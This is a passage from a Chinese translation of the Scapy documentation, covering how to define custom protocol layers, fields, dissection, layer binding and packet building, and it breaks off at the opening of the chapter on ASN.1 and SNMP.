self.m2i(pkt,s[:self.length]) 145 | ``` 146 | 147 | 当定义你自己的协议层,你通常只需要定义一些`*2*()`方法,有时候也会有`addfield()`和`getfield()`方法。 148 | 149 | ### 示例:可变长度的数值 150 | 151 | 在协议中经常使用可变长度的数值的方法来表示整数,例如处理信号进程(MIDI)。 152 | 153 | 每一个数值的字节的MSB编码被设置为1,除了最后一个字节。比如,0x123456将会编码为0xC8E856: 154 | 155 | ```py 156 | def vlenq2str(l): 157 | s = [] 158 | s.append( hex(l & 0x7F) ) 159 | l = l >> 7 160 | while l>0: 161 | s.append( hex(0x80 | (l & 0x7F) ) ) 162 | l = l >> 7 163 | s.reverse() 164 | return "".join(map( lambda(x) : chr(int(x, 16)) , s)) 165 | 166 | def str2vlenq(s=""): 167 | i = l = 0 168 | while i>> f = FOO(data="A"*129) 218 | >>> f.show() 219 | ###[ FOO ]### 220 | len= 0 221 | data= 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA' 222 | ``` 223 | 224 | 这里,`len`不必被计算,默认值会被直接显示的,这是目前我们协议层internal的表示,让我们强行来计算一下: 225 | 226 | ``` 227 | >>> f.show2() 228 | ###[ FOO ]### 229 | len= 129 230 | data= 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA' 231 | ``` 232 | 233 | `show2()`方法显示这些字段被发送到网络中时的值,但是为了人类阅读方便,我们看到`len=129`。最后但并非最不重要,让我们来看看machine的表示: 234 | 235 | ``` 236 | >>> str(f) 237 | '\x81\x01AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA' 238 | ``` 239 | 240 | 前两个字节是`\x81\x01`,是129编码后的结果。 241 | 242 | ## 剖析 243 | 244 | 协议层只是一系列的字段,但是每一个字段之间使用什么连接的,协议层之间呢?这一节我们将解释这个秘密。 245 | 246 | ### 基本的填充数据 247 | 248 | 剖析数据包的核心的方法是`Packet.dissect()`。 249 | 250 | ```py 251 | def dissect(self, s): 252 | s = self.pre_dissect(s) 253 | s = self.do_dissect(s) 254 | s = self.post_dissect(s) 255 | payl,pad = self.extract_padding(s) 256 | self.do_dissect_payload(payl) 257 | if pad and conf.padding: 258 | self.add_payload(Padding(pad)) 259 | ``` 260 | 261 | 当被调用时,`s`是一个将要被剖析的字符串,`self`指向当前协议层。 262 | 263 | ``` 264 | >>> p=IP("A"*20)/TCP("B"*32) 265 | WARNING: bad dataofs (4). Assuming dataofs=5 266 | >>> p 267 | >> 270 | ``` 271 | 272 | `Packet.dissect()`被调用了三次: 273 | 274 | 1.解析`"A"*20`为IPv4头 275 | 276 | 2.解析`"B"*32`为TCP头 277 | 278 | 3.到此为止数据包还有12个字节,他们将被解析成原始"Raw"的数据(有一些是默认的协议层类型)。 279 | 280 | 当传入一个协议层的时候,一切都很简单: 281 | 282 | + `pre_dissect()`在协议层之前被调用。 283 | 284 | + `do_dissect()`执行协议层真正的解析。 285 | 286 | + `post_dissection()`当解析时需要更新输入的时候被调用(比如说,解密,解压缩) 287 | 288 | + `extract_padding()`是一个重要的方法,应该被每一层所调用控制他们的大小,所以他可以被用来区分真正相关联的协议层的有效载荷,并且什么将被视为额外的填充字节。 289 | 290 | + `do_dissect_payload()`方法主要负责剖析有效载荷(如果有的话)。它基于`guess_payload_class()`(见下文),一旦是已知类型的有效荷载,该有效载荷将会以新的类型绑定到当前协议层: 291 | 292 | ```py 293 | def do_dissect_payload(self, s): 294 | cls = self.guess_payload_class(s) 295 | p = cls(s, _internal=1, _underlayer=self) 296 | self.add_payload(p) 297 | ``` 298 | 299 | 最后,数据包中所有的协议层都被解析了,并和已知的类型关联在一起。 300 | 301 | ### 剖析字段 302 | 303 | 所有协议层和它的字段之间的魔法方法是`do_dissect()`。如果你已经理解了协议层的不同的表示,你也应该理解剖析一个协议层就是将构建它的字段从machine表示转换到internal表示。 304 | 305 | 猜猜是什么?这正是`do_dissect()`干的事: 306 | 307 | ```py 308 | def do_dissect(self, s): 309 | flist = self.fields_desc[:] 310 | flist.reverse() 311 | while s and flist: 312 | f = flist.pop() 313 | s,fval = f.getfield(self, s) 314 | self.fields[f] = fval 315 | return s 316 | ``` 317 | 318 | 所以,他接受原始的字符串数据包,并进入每一个字段,只要还有数据或者字段剩余: 319 | 320 | ``` 321 | >>> FOO("\xff\xff"+"B"*8) 322 | 323 | ``` 324 | 325 | 当编写`FOO("\xff\xff"+"B"*8)`的时候,他调用`do_dissect()`方法。第一个字段是`VarLenQField`,因此他接收字节,只要MSB设置过,因此,一直到(包括)第一个"B"。这个映射做到了多亏了`VarLenQField.getfield()`,并且可以进行交叉检查: 326 | 327 | ``` 328 | >>> vlenq2str(2097090) 329 | '\xff\xffB' 330 | ``` 331 | 332 | 然后,下一个字段以相同的方法被提取,直到2097090个字节都放进`FOO.data`中(或者更少,如果2097090是不可用的)。 333 | 334 | 如果当剖析完后还剩下一些字节,他们将以相同的方式映射到下一步要处理的(默认是Raw): 335 | 336 | ``` 337 | >>> FOO("\x05"+"B"*8) 338 | > 339 | ``` 340 | 341 | 因此,现在我们该理解协议层是怎样被绑定在一起的。 342 | 343 | ### 绑定协议层 344 | 345 | Scapy在解析协议层时一个很酷的特性是他试图猜测下一层协议是什么。连接两个协议层官方的方法是`bind_layers()`: 346 | 347 | 比如说,如果你有一个`HTTP`类,你可能会认为所有的接受或者发送的数据包都是80端口的,你将会这样解码,下面是简单的方式: 348 | 349 | ```py 350 | bind_layers( TCP, HTTP, sport=80 ) 351 | bind_layers( TCP, HTTP, dport=80 ) 352 | ``` 353 | 354 | 这就是所有的啦!现在所有和80端口相关联的数据包都将被连接到HTTP协议层上,不管他是从`pcap`文件中读取的,还是从网络中接收到的。 355 | 356 | #### `guess_payload_class()`方法 357 | 358 | 有时候,猜测一个有效载荷类不是像定义一个单一的端口那么简单。比如说,他可能依赖于当前协议传入的一个字节值。有两个方法是必须的: 359 | 360 | + `guess_payload_class()`必须返回有效载荷的`guessed`类(下一层协议层的)。默认情况下,它使用类之间已有的关联通过`bind_layer()`放到合适的位置。 361 | 362 | + `default_payload_class()`返回默认的值。这个方法在`Packet`类中定义返回Raw,但是他能被重载。 363 | 364 | 比如说,解码802.11的变化取决于他是否被加密: 365 | 366 | ```py 367 | class Dot11(Packet): 368 | def guess_payload_class(self, payload): 369 | if self.FCfield & 0x40: 370 | return Dot11WEP 371 | else: 372 | return Packet.guess_payload_class(self, payload) 373 | ``` 374 | 375 | 这里有需要的几点意见: 376 | 377 | + 这些事是使用`bind_layer()`不可能完成的,因为测试中应该是`"field==value"`,但是这里我们测试的字段值比单一的字节要发杂。 378 | 379 | + 如果测试失败了,没有这种假设,我们会回到默认的机制调用`Packet.guess_payload_class()`。 380 | 381 | 大多数时间,定义一个`guess_payload_class()`方法是没有必要的,可以从`bind_layers()`得到相同的结果。 382 | 383 | #### 改变默认的行为 384 | 385 | 如果你不喜欢Scapy得到协议层后的行为,你也可以通过调用`split_layer()`来改变或者禁用这些行为。比如说你不想要UDP/53绑定到DNS协议,只需要添加代码`split_layers(UDP, DNS, sport=53)`,现在所有源端口是53的数据包都不会当做DNS协议处理了,但是什么东西你要做特殊处理。 386 | 387 | ### 在后台:将所有的东西都放在一起 388 | 389 | 事实上,每一个协议层都有一个字段的`guess_payload`。当你使用`bind_layers()`的方式,他将定义的下一个添加到该列表中。 390 | 391 | ``` 392 | >>> p=TCP() 393 | >>> p.payload_guess 394 | [({'dport': 2000}, ), ({'sport': 2000}, ), ... )] 395 | ``` 396 | 397 | 然后,当他需要猜测下一个协议层类,他调用默认的方法`Packet.guess_payload_class()`,该方法通过`payload_guess`序列的每一个元素,每一个元素都是一个元组: 398 | 399 | + 第一个值是一个字段,我们用`('dport':2000)`测试 400 | 401 | + 第二个值是`guessed`类,如果他匹配到Skinny 402 | 403 | 所以,默认的`guess_payload_class()`尝试序列中所有的元素,知道偶一个匹配到,如果没发现一个元素,他将调用`default_payload_class()`。如果你重新定义了这个方法,你的方法将会被调用,否则,默认的方法会被调用,Raw将会被返回。 404 | 405 | `Packet.guess_payload_class()` 406 | 407 | + 测试字段中有什么`guess_payload` 408 | 409 | + 调用被重载的`guess_payload_class()` 410 | 411 | ## 构建 412 | 413 | 构建一个数据包跟构建每一个协议层一样简单,然后一些魔法的事情发生了当关联一切的时候,让我们来试一试这些魔法。 414 | 415 | ### 基本的填充数据 416 | 417 | 首先要明确,构建是什么意思?正如我们所看到的,一个协议层能被不同的方法所表示(human, internal, machine),构建的意思是转换到machine格式。 418 | 419 | 第二个要理解的事情是什么时候一个协议层将会被构建。答案不是那么明显,但是当你需要machine表示的时候,协议层就被构建了:当数据包在网络上被丢弃或者写入一个文件,当他装换成一个字符串,。。。事实上,machine表示应该被视为附加了协议层的大字符串。 420 | 421 | ``` 422 | >>> p = IP()/TCP() 423 | >>> hexdump(p) 424 | 0000 45 00 00 28 00 01 00 00 40 06 7C CD 7F 00 00 01 E..(....@.|..... 425 | 0010 7F 00 00 01 00 14 00 50 00 00 00 00 00 00 00 00 .......P........ 426 | 0020 50 02 20 00 91 7C 00 00 P. ..|.. 427 | ``` 428 | 429 | 调用`str()`构建这个数据包: 430 | 431 | + 没有实例化的字段设置他们的默认值 432 | 433 | + 长度自动更新 434 | 435 | + 计算校验和 436 | 437 | + 等等 438 | 439 | 事实上,使用`str()`而不是`show2()`不是一个随机的选择,就像所有的函数构建数据包都要调用`Packet.__str__()`,然而,`__str__()`调用了另一个函数:`build()`: 440 | 441 | ```py 442 | def __str__(self): 443 | return self.__iter__().next().build() 444 | ``` 445 | 446 | 重要的也是要理解的是,通常你不必关心machine表示,这就是为什么human和internal也在这里。 447 | 448 | 所以,核心的函数式`build()`(代码被缩短了只保留了相关的部分): 449 | 450 | ```py 451 | def build(self,internal=0): 452 | pkt = self.do_build() 453 | pay = self.build_payload() 454 | p = self.post_build(pkt,pay) 455 | if not internal: 456 | pkt = self 457 | while pkt.haslayer(Padding): 458 | pkt = pkt.getlayer(Padding) 459 | p += pkt.load 460 | pkt = pkt.payload 461 | return p 462 | ``` 463 | 464 | 所以,他通过构建当前协议层开始,然后是有效载荷,并且`post_build()`被调用更新后期的一些评估字段(像是校验和),最后将填充数据添加到数据包的尾部。 465 | 466 | 当然,构建一个协议层和构建它的字段是一样的,这正是`do_build()`干的事。 467 | 468 | ### 构建字段 469 | 470 | 构建每一个协议层的每一个字段都会调用`Packet.do_build()`: 471 | 472 | ```py 473 | def do_build(self): 474 | p="" 475 | for f in self.fields_desc: 476 | p = f.addfield(self, p, self.getfieldval(f)) 477 | return p 478 | ``` 479 | 480 | 构建字段的核心函数是`getfield()`,他接收internal字段视图,并将它放在`p`的后面。通常,这个方法会调用`i2m()`并返回一些东西,如`p.self.i2mval(val)`(在`val=self.getfieldval(f)`处)。 481 | 482 | 如果`val`设置了,`i2m()`只是一个必须使用的格式化的方法,不如,如果预期是一个字节,`struct.pack('B',val)`是在正确转化他的方法。 483 | 484 | 然而,如果`val`没有被设置,事情将会变得更加复杂,这就意味着不能简单的提供默认值,然后这些字段现在或者以后需要计算一些“填充数据”。 485 | 486 | “刚刚好”意味着多亏了`i2m()`,如果所有的信息将是可用的。如果你必须处理一个长度直到遇到一个分隔符。 487 | 488 | 比如说:计算一个长度直到遇到一个分隔符: 489 | 490 | ```py 491 | class XNumberField(FieldLenField): 492 | 493 | def __init__(self, name, default, sep="\r\n"): 494 | FieldLenField.__init__(self, name, default, fld) 495 | self.sep = sep 496 | 497 | def i2m(self, pkt, x): 498 | x = FieldLenField.i2m(self, pkt, x) 499 | return "%02x" % x 500 | 501 | def m2i(self, pkt, x): 502 | return int(x, 16) 503 | 504 | def addfield(self, pkt, s, val): 505 | return s+self.i2m(pkt, val) 506 | 507 | def getfield(self, pkt, s): 508 | sep = s.find(self.sep) 509 | return s[sep:], self.m2i(pkt, s[:sep]) 510 | ``` 511 | 512 | 在这个例子中,在`i2m()`中,如果`x`已经有一个值,他将装换为十六进制。如果没有提供任何值,将会返回0。 513 | 514 | 关联由`Packet.do_build()`提供,他为协议层的每一个字段调用`Field.addfield()`并以此调用`Field.i2m()`:如果值是有效的,协议层将会被构建。 515 | 516 | ### 处理默认值:`do_build()` 517 | 518 | 字段给定的默认值有时候也不知道或者不可能知道什么时候将字段放在一起。比如说,如果我们在协议层中使用预先定义的`XNumberField`,我们希望当他被构建是被设置一个被给定的值,然后如果他没有被设置`i2m()`不会返回任何值。 519 | 520 | 这个问题的答案是`Packet.post_build()`。 521 | 522 | 当这个方法被调用,数据包已经被构建了,但是有些字段还是需要被计算,一个典型的例子就是需要计算检验和或者是长度。这是每一个字段每次都取决于一些东西,而不是当前需要的。所以,让我们假设我们有一个有`XNumberField`的数据包来看看他的构建过程: 523 | 524 | ```py 525 | class Foo(Packet): 526 | fields_desc = [ 527 | ByteField("type", 0), 528 | XNumberField("len", None, "\r\n"), 529 | StrFixedLenField("sep", "\r\n", 2) 530 | ] 531 | 532 | def post_build(self, p, pay): 533 | if self.len is None and pay: 534 | l = len(pay) 535 | p = p[:1] + hex(l)[2:]+ p[2:] 536 | return p+pay 537 | ``` 538 | 539 | 当`post_build()`被调用的时候,`p`是当前的协议层,`pay`是有效载荷,这就已经构建好了,我们想要我们的长度是将所有的数据都放到分隔符之后的全部长度,所以我们在`post_build()`中添加他们的计算。 540 | 541 | ``` 542 | >>> p = Foo()/("X"*32) 543 | >>> p.show2() 544 | ###[ Foo ]### 545 | type= 0 546 | len= 32 547 | sep= '\r\n' 548 | ###[ Raw ]### 549 | load= 'XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX' 550 | ``` 551 | 552 | `len`现在正确的被计算: 553 | 554 | ``` 555 | >>> hexdump(str(p)) 556 | 0000 00 32 30 0D 0A 58 58 58 58 58 58 58 58 58 58 58 .20..XXXXXXXXXXX 557 | 0010 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 XXXXXXXXXXXXXXXX 558 | 0020 58 58 58 58 58 559 | ``` 560 | 561 | 而且machine也是期望的那样。 562 | 563 | ### 处理默认值:自动计算 564 | 565 | 像我们向前看到的那样,剖析机制是建立在程序员创造的协议层之间的连接之上的。然而,他也可以用在构建的过程中。 566 | 567 | 在协议层`Foo()`,我们第一个字节的类型是在下面定义的,比如说,如果`type=0`,下一层协议层是`Bar0`,如果是1,下一层是协议层是`Bar1`,以此类推。我们希望字段在下面自动设置。 568 | 569 | ```py 570 | class Bar1(Packet): 571 | fields_desc = [ 572 | IntField("val", 0), 573 | ] 574 | 575 | class Bar2(Packet): 576 | fields_desc = [ 577 | IPField("addr", "127.0.0.1") 578 | ] 579 | ``` 580 | 581 | 如果我们除此之外没有做其他的事情,我们在解析数据包的时候将会有麻烦,不会有任何的`Bar*`绑定在`Foo`协议层,甚至是当我们通过调用`show2()`函数明确的构建数据包时也没有。 582 | 583 | ``` 584 | >>> p = Foo()/Bar1(val=1337) 585 | >>> p 586 | > 587 | >>> p.show2() 588 | ###[ Foo ]### 589 | type= 0 590 | len= 4 591 | sep= '\r\n' 592 | ###[ Raw ]### 593 | load= '\x00\x00\x059' 594 | ``` 595 | 596 | 问题: 597 | 598 | + `type`还是等于0当我们将它设置为1的时候,我们当然可以通过`p=Foo(type=1)/Bar0(val=1337)`来构建`p`,但是这样不方便。 599 | 600 | + 当`Bar1`注册为Raw的时候,数据包将会被错误的解析。这是因为`Foo()`和`Bar*()`之间没有设置任何的连接。 601 | 602 | 为了理解我们应该怎么做才能获得适当的行为,我们必须看看协议层是怎么组装的。当两个独立的数据包实例`Foo()`和`Bar1(val=1337)`通过分隔符`/`连接在一起的时候,将产生一个新的数据包,先前的实例被克隆了(也就是说这来了明确的对象构造不同,但是持有相同的值)。 603 | 604 | ```py 605 | def __div__(self, other): 606 | if isinstance(other, Packet): 607 | cloneA = self.copy() 608 | cloneB = other.copy() 609 | cloneA.add_payload(cloneB) 610 | return cloneA 611 | elif type(other) is str: 612 | return self/Raw(load=other) 613 | ``` 614 | 615 | 操作符右边的是左边的有效载荷,这种行为是通过调用`add_payload()`完成的。最后返回一个新的数据包。 616 | 617 | 我们可以观察到,如果`other`是一个字符串而不是一个数据包,Raw将会从`payload`实例化得来。就像下面的例子: 618 | 619 | ``` 620 | >>> IP()/"AAAA" 621 | > 622 | ``` 623 | 624 | 这样的话`add_payload()`该执行什么?只是将两个数据包关联在一起吗?不仅仅是这样,在我们的例子中,该方法会适当的设置当前的值给`type`。 625 | 626 | 本能的我们可以感觉到上层协议(`/`右边的协议层)能收集值设置给下层协议(`/`左边的协议层)。看看向前的解释,这有一个方便的机制来指定两个相邻协议层之间的绑定。 627 | 628 | 再一次,这些信息必须提供给`bind_layer()`,内部将调用`bind_top_down()`让这些字段被重载,在这种情况下,我们需要指定这些: 629 | 630 | ```py 631 | bind_layers( Foo, Bar1, {'type':1} ) 632 | bind_layers( Foo, Bar2, {'type':2} ) 633 | ``` 634 | 635 | 然后,`add_payload()`遍历上面数据包(`payload`)的`overload_fields`,得到这些字段相关联的底层数据包(通过他们的`type`)并插入到`overloaded_fields`。 636 | 637 | 现在,当这个字段的值被请求,`getfieldval()`将返回插到`overloaded_fields`中的值。 638 | 639 | 字段被处理有三个方向: 640 | 641 | + `fields`:明确被设置的字段值,像是pdst在TCP中是(pdst='42') 642 | 643 | + `overloaded_fields`:重载字段 644 | 645 | + `default_fields`:所有的字段都是他们的默认值。(这些字段根据`fields_desc`的初始化构造函数调用`init_fields()`) 646 | 647 | 在下面代码中,我们可以观察到一个字段是如何选择的并且看到他的返回值: 648 | 649 | ```py 650 | def getfieldval(self, attr): 651 | for f in self.fields, self.overloaded_fields, self.default_fields: 652 | if f.has_key(attr): 653 | return f[attr] 654 | return self.payload.getfieldval(attr) 655 | ``` 656 | 657 | 字段被插入到`fields`有更高的权限,然后是`overloaded_fields`,最后是`default_fields`,因此如果字段的type在`overloaded_fields`中设置,他的值将会被返回而不是在`default_fields`中获取。 658 | 659 | 现在我们理解了背后的所有的魔法了! 660 | 661 | ``` 662 | >>> p = Foo()/Bar1(val=0x1337) 663 | >>> p 664 | > 665 | >>> p.show() 666 | ###[ Foo ]### 667 | type= 1 668 | len= 4 669 | sep= '\r\n' 670 | ###[ Bar1 ]### 671 | val= 4919 672 | ``` 673 | 674 | 我们的两个问题都解决了,而没有发太多的功夫。 675 | 676 | ### 理解底层:把所有的东西放在一起 677 | 678 | 最后但不是不重要,理解当构建数据包的时候每一个函数什么时候被调用是很重要的。 679 | 680 | ``` 681 | >>> hexdump(str(p)) 682 | Packet.str=Foo 683 | Packet.iter=Foo 684 | Packet.iter=Bar1 685 | Packet.build=Foo 686 | Packet.build=Bar1 687 | Packet.post_build=Bar1 688 | Packet.post_build=Foo 689 | ``` 690 | 691 | 正如你所看到的,他首先运行序列的每一个字段,然从头开始构建,一旦所有的协议层构建好了,他们从头开始调用`post_build()`。 692 | 693 | ## 字段 694 | 695 | 这里列出了一些Scapy支持的字段。 696 | 697 | ### 简单的数据类型 698 | 699 | 表示: 700 | 701 | + X --- 十六进制表示 702 | 703 | + LE --- 小端(默认是大端) 704 | 705 | + Signal --- 有符号的(默认是无符号的) 706 | 707 | ``` 708 | ByteField 709 | XByteField 710 | 711 | ShortField 712 | LEShortField 713 | XShortField 714 | 715 | X3BytesField # three bytes (in hexad 716 | 717 | IntField 718 | SignedIntField 719 | LEIntField 720 | LESignedIntField 721 | XIntField 722 | 723 | LongField 724 | XLongField 725 | LELongField 726 | 727 | IEEEFloatField 728 | IEEEDoubleField 729 | BCDFloatField # binary coded decimal 730 | 731 | BitField 732 | XBitField 733 | 734 | BitFieldLenField # BitField specifying a length (used in RTP) 735 | FlagsField 736 | FloatField 737 | ``` 738 | 739 | ### 枚举 740 | 741 | 字段的值可能来自枚举 742 | 743 | ``` 744 | ByteEnumField("code", 4, {1:"REQUEST",2:"RESPONSE",3:"SUCCESS",4:"FAILURE"}) 745 | ``` 746 | 747 | ``` 748 | EnumField(name, default, enum, fmt = "H") 749 | CharEnumField 750 | BitEnumField 751 | ShortEnumField 752 | LEShortEnumField 753 | ByteEnumField 754 | IntEnumField 755 | SignedIntEnumField 756 | LEIntEnumField 757 | XShortEnumField 758 | ``` 759 | 760 | ### 字符串 761 | 762 | ``` 763 | StrField(name, default, fmt="H", remain=0, shift=0) 764 | StrLenField(name, default, fld=None, length_from=None, shift=0): 765 | StrFixedLenField 766 | StrNullField 767 | StrStopField 768 | ``` 769 | 770 | ### 序列和定长长度 771 | 772 | ``` 773 | FieldList(name, default, field, fld=None, shift=0, length_from=None, count_from=None) 774 | # A list assembled and dissected with many times the same field type 775 | 776 | # field: instance of the field that will be used to assemble and disassemble a list item 777 | # length_from: name of the FieldLenField holding the list length 778 | 779 | FieldLenField # holds the list length of a FieldList field 780 | LEFieldLenField 781 | 782 | LenField # contains len(pkt.payload) 783 | 784 | PacketField # holds packets 785 | PacketLenField # used e.g. in ISAKMP_payload_Proposal 786 | PacketListField 787 | ``` 788 | 789 | #### 可变长度字段 790 | 791 | 这是关于Scapy怎么处理字段的可变长度的。这些字段通常可以从另外的字段那知道他们的长度,我们称他们为可变字段和定长字段。其思想是让每一个字段都引用另一个字段,这样当数据包被剖析时,可变就可以从定长字段那知道自己的长度,如果数据包时被组合的,你不必填充满定长字段,直接可以从可变长度推测他的值。 792 | 793 | 问题出现在你意识到可变长度字段和定长字段之间的关系并不总是明确的。有时候定长字段指示了字节长度,有时候是对象的数量。有时候长度包含首部部分,所以你必须减去固定的头部长度来推算出可变字段的长度。有时候长度不是以字节而是以16位来表示的,有时候相同的不变字段被两个不同的可变字段使用,有时候相同的可变字段引用不同的不可变字段,一个是一个字节,一个是来那个字节。 794 | 795 | ##### 定长字段 796 | 797 | 首先,一个定长字段是用FieldLenField定义的(或者是他的派生)。当组装数据包的时候如果他的值是空,他的值将会从引用他的可变长度字段推倒出来。引用用了其他的`length_of`参数或者`count_of`参数,`count_of`参数只有当可变字段拥有一个序列(`PacketListField`或者`FieldListField`)的时候才会有意义。该值将用可变长度字段命名,作为一个字符串。根据那个参数使用`i2len()`或者 `i2count()`方法将会在不可变字段值找个调用。返回的值将会被函数调整提供给合适的参数。调整将适用于两个参数:`i2len()`或者`i2count()`返回的数据包实例和值。默认情况下,调整是不会做什么事的: 798 | 799 | ```py 800 | adjust=lambda pkt,x: x 801 | ``` 802 | 803 | 比如说,如果`the_varfield`是一个序列: 804 | 805 | ```py 806 | FieldLenField("the_lenfield", None, count_of="the_varfield") 807 | ``` 808 | 809 | 或者如果他是16位的: 810 | 811 | ```py 812 | FieldLenField("the_lenfield", None, length_of="the_varfield", adjust=lambda pkt,x:(x+1)/2) 813 | ``` 814 | 815 | ##### 可变长度字段 816 | 817 | 可变长度有:`StrLenField`, `PacketLenField`, `PacketListField`, `FieldListField`, ... 818 | 819 | 这有两个第一,当一个数据包被剖析时,他们的长度会从已经已经解析的定长字段长度推到来,连接通络使用length_from参数,应用到一个函数,适用于被解析的数据包的一部分,返回一个字节的长度,例如: 820 | 821 | ```py 822 | StrLenField("the_varfield", "the_default_value", length_from = lambda pkt: pkt.the_lenfield) 823 | ``` 824 | 825 | 或者: 826 | 827 | ```py 828 | StrLenField("the_varfield", "the_default_value", length_from = lambda pkt: pkt.the_lenfield-12) 829 | ``` 830 | 831 | 对于`PacketListField`和`FieldListField`和他们的派生,当需要长度的时候,工作内容和他们的一样。如果你需要大量的元素,`length_from`参数必须被忽略并且`count_from`参数必须被替代,比如说: 832 | 833 | ```py 834 | FieldListField("the_varfield", ["1.2.3.4"], IPField("", "0.0.0.0"), count_from = lambda pkt: pkt.the_lenfield) 835 | ``` 836 | 837 | #### 例子 838 | 839 | ```py 840 | class TestSLF(Packet): 841 | fields_desc=[ FieldLenField("len", None, length_of="data"), 842 | StrLenField("data", "", length_from=lambda pkt:pkt.len) ] 843 | 844 | class TestPLF(Packet): 845 | fields_desc=[ FieldLenField("len", None, count_of="plist"), 846 | PacketListField("plist", None, IP, count_from=lambda pkt:pkt.len) ] 847 | 848 | class TestFLF(Packet): 849 | fields_desc=[ 850 | FieldLenField("the_lenfield", None, count_of="the_varfield"), 851 | FieldListField("the_varfield", ["1.2.3.4"], IPField("", "0.0.0.0"), 852 | count_from = lambda pkt: pkt.the_lenfield) ] 853 | 854 | class TestPkt(Packet): 855 | fields_desc = [ ByteField("f1",65), 856 | ShortField("f2",0x4244) ] 857 | def extract_padding(self, p): 858 | return "", p 859 | 860 | class TestPLF2(Packet): 861 | fields_desc = [ FieldLenField("len1", None, count_of="plist",fmt="H", adjust=lambda pkt,x:x+2), 862 | FieldLenField("len2", None, length_of="plist",fmt="I", adjust=lambda pkt,x:(x+1)/2), 863 | PacketListField("plist", None, TestPkt, length_from=lambda x:(x.len2*2)/3*3) ] 864 | ``` 865 | 866 | 测试`FieldListField`类: 867 | 868 | ``` 869 | >>> TestFLF("\x00\x02ABCDEFGHIJKL") 870 | > 871 | ``` 872 | 873 | ### 特殊的 874 | 875 | ``` 876 | Emph # Wrapper to emphasize field when printing, e.g. Emph(IPField("dst", "127.0.0.1")), 877 | 878 | ActionField 879 | 880 | ConditionalField(fld, cond) 881 | # Wrapper to make field 'fld' only appear if 882 | # function 'cond' evals to True, e.g. 883 | # ConditionalField(XShortField("chksum",None),lambda pkt:pkt.chksumpresent==1) 884 | 885 | PadField(fld, align, padwith=None) 886 | # Add bytes after the proxified field so that it ends at 887 | # the specified alignment from its beginning 888 | ``` 889 | 890 | ### TCP/IP 891 | 892 | ``` 893 | IPField 894 | SourceIPField 895 | 896 | IPoptionsField 897 | TCPOptionsField 898 | 899 | MACField 900 | DestMACField(MACField) 901 | SourceMACField(MACField) 902 | ARPSourceMACField(MACField) 903 | 904 | ICMPTimeStampField 905 | ``` 906 | 907 | ### 802.11 908 | 909 | ``` 910 | Dot11AddrMACField 911 | Dot11Addr2MACField 912 | Dot11Addr3MACField 913 | Dot11Addr4MACField 914 | Dot11SCField 915 | ``` 916 | 917 | ### DNS 918 | 919 | ``` 920 | DNSStrField 921 | DNSRRCountField 922 | DNSRRField 923 | DNSQRField 924 | RDataField 925 | RDLenField 926 | ``` 927 | 928 | ### ASN.1 929 | 930 | ``` 931 | ASN1F_element 932 | ASN1F_field 933 | ASN1F_INTEGER 934 | ASN1F_enum_INTEGER 935 | ASN1F_STRING 936 | ASN1F_OID 937 | ASN1F_SEQUENCE 938 | ASN1F_SEQUENCE_OF 939 | ASN1F_PACKET 940 | ASN1F_CHOICE 941 | ``` 942 | 943 | ### 其他协议 944 | 945 | ``` 946 | NetBIOSNameField # NetBIOS (StrFixedLenField) 947 | 948 | ISAKMPTransformSetField # ISAKMP (StrLenField) 949 | 950 | TimeStampField # NTP (BitField) 951 | ``` -------------------------------------------------------------------------------- /4.md: -------------------------------------------------------------------------------- 1 | # 高级用法 2 | 3 | > 译者:[草帽小子_DJ](http://blog.csdn.net/dj1174232716/) 4 | 5 | > 来源:[Python Scapy(2.3.1)文档学习(四):高级用法](http://blog.csdn.net/dj1174232716/article/details/49004813) 6 | 7 | > 原文:[Advanced usage](http://www.secdev.org/projects/scapy/doc/advanced_usage.html) 8 | 9 | > 协议:[CC BY-NC-SA 2.5](http://creativecommons.org/licenses/by-nc-sa/2.5/) 10 | 11 | ## ASN.1 和 SNMP 12 | 13 | ### 什么是ASN.1 ? 14 | 15 | > 注意:这只是我对ASN.1的个人观点,我会尽可能的做简单的解释。至于更多的理论或者学术观点,我相信你会在互联网上找到更好的。 16 | 17 | ASN.1(抽象语法标记)是一种对数据进行表示、编码、传输和解码的数据格式。它用一种独立的方式给数据编码,用指定的编码规则给数据编码。 18 | 19 | 最常用的编码规则是BER(基本编码规则)和DER(识别名编码规则),两者看起来是一样的,但是后者特殊在它保证了生成的编码的唯一性,当谈到加密,哈希和签名时,这个属性非常有意思。 20 | 21 | ASN.1提供了基本的对象:整数,多种类型的字符串,浮点数,布尔值,容器,等等。它们组成了通用类。一种给定的协议能提供组成其他对象的上下文类。比如,SNMP定义了`PDU_SET`和`PDU_GET`对象,还有其他的应用和私有类。 22 | 23 | 每一个对象将会给一个标签用来定义编码规则。从1开始用于通由类,1是布尔值,2是整型,3是一个字节字符串,6是OID,48是一个序列。标签来自`Context`类,从0xa0开始。当从0xa0遇到一个对象标签,我们将需要知道能够解码的`context`。比如说,在SNMP的`context`下,0xa0是一个`PDU_GET`对象,而在X509的`context`下,它是一个证书版本的容器。 24 | 25 | 其他对象通过组装基本的对象产生。新的结构是是用先前已经定义或者存在的序列和阵列组成。最终的对象(X509证书,一个SNMP数据包)是一棵非叶子结点序列的树,并设置对象(或者派生的对象),叶子节点是整数,字符串,OID等等。 26 | 27 | ### Scapy和ASN.1 28 | 29 | Scapy提供了一种简单的方法加解密ASN.1,还提供了一个编码器/解码器。它比ASN.1的解析器更加宽松并忽略了一些约束。它不会取代ASN.1的解析器或者是ASN.1的编译器,事实上,它被编写的可以编码或者解密损坏的ASN.1。它可以处理损坏的编码字符串并创建他们。 30 | 31 | #### ASN.1引擎 32 | 33 | 